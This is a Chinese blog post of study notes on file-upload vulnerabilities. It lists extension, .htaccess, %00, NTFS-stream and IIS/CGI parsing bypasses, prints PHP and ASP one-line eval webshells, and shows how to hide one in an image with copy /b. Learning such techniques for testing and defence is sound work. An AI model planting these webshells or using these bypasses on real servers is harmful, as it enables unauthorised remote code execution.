文件上传漏洞总结

文件上传

1.前后端检测:使用BurpSuite抓包,有数据包为后端,无数据包为前端。		
				
文件马成功的两个核心条件:
				1.成功上传图片马到服务器,且图片马中的恶意代码保存完整
				2.文件马被php解析器(asp解析器)解析		
		
2.分类:
	PHP:
	前端检测:
		白名单:允许上传什么。
		黑名单:不允许上传什么。
		绕过:
			1.关闭js。
			2.抓包修改。
	后端检测:
		白名单:允许上传什么。
			00截断:
				%00和00就是代表一个结束符。
				例如:1.php%00.jpg。
			条件竞争:
				两个(线程)同时去抢(资源),不知道到底哪个能抢到,此处便形成了竞争。
				可以使用BurpSuit去跑,一个疯狂上传,一个疯狂访问。
				就是和服务器的删除函数,进行竞争。
		黑名单:不允许上传什么。
			1.文件后缀类型绕过:
				php: php、 phtml、php3、php4、php5
				jsp: jap、jspx、jspf
				asp: asa、cer、aspx
				ext: exee
			2. .htaccess文件绕过:
				让文件去写一句话木马:AddType application/x-httpd-php .jpg 这个指令代表有.jpg文件会当做php解析。
				将这句代码放进txt文件,将文件名修改成功.htaccess,然后上传它就可以了。
			3.文件后缀大小写绕过。
			4.文件后缀(空/空格)绕过。
			5.文件后缀(点)绕过。
			6.Windows文件流绕过NTFS::$DATA利用windows特性,可在后缀名中加::$DATA 绕过。
			7.构造文件后缀绕过,如php.. 
			8.双写文件后缀绕过。如pphphp
						
			<?php

				eval(		$_REQUEST['a']		);	 
			 
			 ?>   $_POST接收post传参
				  $_REQUEST 接收post,get,cookie(高于5.4版本不接受cookie传参)
				  eval()作用是执行括号内的内容
				总结
				接收$a的传参,并执行
			
	ASP:
	
		前端检测:
			白名单:允许上传什么。
			黑名单:不允许上传什么。
			绕过:
				1.关闭js。
				2.抓包修改。
		后端检测:
			白名单:
				IIS6.0解析漏洞(二)[IIS5.1和IIS7.5无此漏洞]:
					IIS6.0在处理含有特殊符号的文件路径时会出现错误,从而造成文件解析漏洞。
					a.asp;.jpg 当做asp进行解析。
				IIS6.0解析漏洞(三)[IIS5.1和IIS7.5无此漏洞]:
					IIS6.0在处理含有特殊符号的文件路径时会出现错误,从而造成文件解析漏洞。
					a.asp/123.jpg 它将当做asp进行解析。
					请求a.asp/x.jpg
					这相当于构建了一个新的文件夹a.asp,凡是这个文件夹里的文件都会以asp去执行。					
			黑名单:
				IIS6.0解析漏洞(一)[不是漏洞,只是默认配置的问题][适合拿来绕过黑名单机制]:
					IIS6.0将文件后缀名字为.asa .cer .cdx都会当做asp去解析。
					这是因为IIS6.0在应用程序扩展中默认设置了.asa .cer .cdx都会调用asp.dll
				解决方法:直接将相应配置删掉即可。
	CGI(中间件)解析漏洞:
		CGI是什么?
			简单的说,可以理解为是web服务器和独立程序之间的管家,服务器将a类型文件,交给CGI,CGI交给处理a类型文件的程序
		当访问www.xx.com/phpinfo.jpg/1.php这个url。
		CGI一看是php后缀结尾,便给php程序去执行,php去找名字为“phpinfo.jpg”的文件夹,没找到,便去找“phpinfo.jpg”的文件,找到后执行。
		漏洞本质:少了再次检测的环节
			仅用于php。
			这是一个逻辑问题,所以说我们只需要在正常的.jpg后边加/.php就可以成功绕过解析。		
			这不是Nginx特有的漏洞,在IIS7.0、IIS7.5等Web容器中也经常会出现这样的解析漏洞。		
	apache 7.0文件上传黑名单怎么绕过,详细说说
	-- 改后缀(php. php_ php4 phptml php空格等)
	-- htaccess文件绕过、win文件流绕过(隐写)			

图片马的制作

		在txt中写一句话木马,
		php:?php @eval($_REQUEST['a']);?>
		asp:eval request('a')%>
		准备一张图片,(注意文件大小,越小越好)
		打开cmd输入 copy 1.png/b + 1.txt 123.png
		(将a.jpg和1.txt合并为123.jgp, /b的意思就是把它当做二进制去拷贝(注:是效果))
		图片马经过二次压缩就失效了
  • 4
    点赞
  • 57
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值